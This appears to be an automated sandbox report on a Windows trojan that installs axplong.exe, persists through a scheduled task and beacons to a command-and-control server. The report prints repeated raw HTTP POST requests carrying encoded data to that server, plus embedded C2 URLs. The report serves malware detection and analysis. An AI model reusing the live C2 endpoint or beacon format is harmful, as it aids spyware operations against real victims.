                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: Joe Sandbox ViewIP Address: 185.215.113.16 185.215.113.16
                      Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.16
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CEBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,1_2_00CEBD60
                      Source: unknownHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001701000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001701000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php&
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php(
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php0
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php9
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpB
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001750000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpC
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpE
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpHost185.215.113.16
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpJ
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpS
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpT
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpU
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpc
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpd
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpfer-Encoding:
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpg
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phphp
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpi
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded9
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpt
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpu
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpv
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpx
                      Source: axplong.exe, 00000001.00000002.4188372534.0000000001728000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpz

                      System Summary

                      barindex
                      PE file contains section with special chars
                      Source: file.exeStatic PE information: section name:
                      Source: file.exeStatic PE information: section name: .idata
                      Source: file.exeStatic PE information: section name:
                      Source: axplong.exe.0.drStatic PE information: section name:
                      Source: axplong.exe.0.drStatic PE information: section name: .idata
                      Source: axplong.exe.0.drStatic PE information: section name:
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess Stats: CPU usage > 49%
                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\axplong.jobJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CE4CF01_2_00CE4CF0
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CEE4401_2_00CEE440
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D230681_2_00D23068
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D17D831_2_00D17D83
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D38D701_2_00D38D70
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D38D701_2_00D38D70
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D38D701_2_00D38D70
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D38D701_2_00D38D70
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CE4AF01_2_00CE4AF0
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D2765B1_2_00D2765B
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D22BD01_2_00D22BD0
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CEE4401_2_00CEE440
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D2777B1_2_00D2777B
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D26F091_2_00D26F09
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00D287201_2_00D28720
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: String function: 00CF7870 appears 33 times
                      Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                      Source: file.exeStatic PE information: Section: ZLIB complexity 0.9975253320844687
                      Source: file.exeStatic PE information: Section: mjqourvh ZLIB complexity 0.9946221847277454
                      Source: axplong.exe.0.drStatic PE information: Section: ZLIB complexity 0.9975253320844687
                      Source: axplong.exe.0.drStatic PE information: Section: mjqourvh ZLIB complexity 0.9946221847277454
                      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@8/3@0/1
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeMutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\44111dbc49Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
                      Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: file.exeReversingLabs: Detection: 52%
                      Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: axplong.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
